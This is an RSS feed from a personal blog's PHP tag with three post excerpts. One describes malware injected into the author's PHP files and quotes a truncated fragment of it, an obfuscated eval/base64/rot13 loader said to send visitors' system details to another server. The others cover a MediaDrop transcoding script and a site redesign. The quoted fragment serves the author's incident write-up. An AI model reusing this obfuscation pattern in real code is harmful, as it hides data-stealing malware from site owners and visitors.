<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>PHP on</title><link>https://dawning.ca/tags/php/</link><description>Recent content in PHP on</description><generator>Hugo -- gohugo.io</generator><language>en</language><copyright>Copyright © James Snell</copyright><lastBuildDate>Sun, 13 Nov 2016 14:18:51 +0000</lastBuildDate><atom:link href="https://dawning.ca/tags/php/index.xml" rel="self" type="application/rss+xml"/><item><title>Battle against injected PHP</title><link>https://dawning.ca/posts/battle-against-injected-php/</link><pubDate>Sun, 13 Nov 2016 14:18:51 +0000</pubDate><guid>https://dawning.ca/posts/battle-against-injected-php/</guid><description>
&lt;p>My main personal web server became infected with some effin malware that was injected it very nearly every single .php script on the server. The injected code was basically:&lt;/p>
&lt;p>//###=CACHE START=###
@error_reporting(E_ALL);
@ini_set(&amp;ldquo;error_log&amp;rdquo;,NULL);
&amp;hellip;etc&lt;/p>
&lt;p>$strings = &amp;ldquo;as&amp;rdquo;; $strings .= &amp;ldquo;se&amp;rdquo;; $strings .= &amp;ldquo;rt&amp;rdquo;; $strings2 = &amp;ldquo;st&amp;rdquo;; $strings2 .= &amp;ldquo;r_r&amp;rdquo;; $strings2 .= &amp;ldquo;ot13&amp;rdquo;; $gbz = &amp;ldquo;riny(&amp;rdquo;.$strings2(&amp;ldquo;base64_decode&amp;rdquo;);
$light = $strings2($gbz.&amp;rsquo;(&amp;ldquo;nJLtX&amp;hellip;.&amp;rdquo;));&amp;rsquo;); $strings($light);
//###=CACHE END=###&lt;/p>
&lt;p>This is kind of beautiful to me, it took me a little while to figure out what it does. In effect it causes basic system info for anyone browsing sites on that server to be sent off to some other php script on another server. At first I altered the server and my network to prevent any traffic from reaching the intended target. Instead I captured the traffic so I could get a look at the volume of it. Here&amp;rsquo;s an example apache log message generated by someone browsing an infected site:&lt;/p></description></item><item><title>Software > MediaDrop Automatic Transcoding Script</title><link>https://dawning.ca/posts/software-mediadrop-automatic-transcoding-script/</link><pubDate>Fri, 03 Jan 2014 00:54:49 +0000</pubDate><guid>https://dawning.ca/posts/software-mediadrop-automatic-transcoding-script/</guid><description>
&lt;p>I&amp;rsquo;ve been working on a somewhat private personal website intended for sharing of family videos. I&amp;rsquo;ve converted roughly 200hrs of old family video tapes in to media files and am well on my way to having converted the files in to individual scenes/clips. The content is being shared, with family, using an instant of the web application &amp;ldquo;MediaDrop&amp;rdquo;. I love this web application. It&amp;rsquo;s epic. I was just looking for a podcast feed generator and I found a lot more in &lt;a href="http://mediadrop.net/">MediaDrop&lt;/a>.&lt;/p></description></item><item><title>Dawning.ca Spruced Up</title><link>https://dawning.ca/posts/dawning-ca-spruced-up/</link><pubDate>Fri, 15 Jan 2010 03:12:36 +0000</pubDate><guid>https://dawning.ca/posts/dawning-ca-spruced-up/</guid><description>
&lt;figure style="float: right; margin: 0 0 1em 1em; max-width: 272px;">
&lt;img src="https://dawning.ca/uploads/2010/01/OldDawning.png" alt="">
&lt;figcaption>Previous Dawning.ca Layout&lt;/figcaption>
&lt;/figure>
&lt;p>I&amp;rsquo;ve just spent a few hours re-designing the layout of Dawning.ca. The &lt;a href="http://wordpress.org/extend/themes/oriental">old one&lt;/a> served me very well and I really liked it. I had heavily modified the previous theme to work for me and work it did. I may tap it some time in the future as a backup&amp;hellip; As you can see to the right, the new style is fairly different compared to the image. Although I kept the workflow as I think it was already pretty good.&lt;/p></description></item></channel></rss>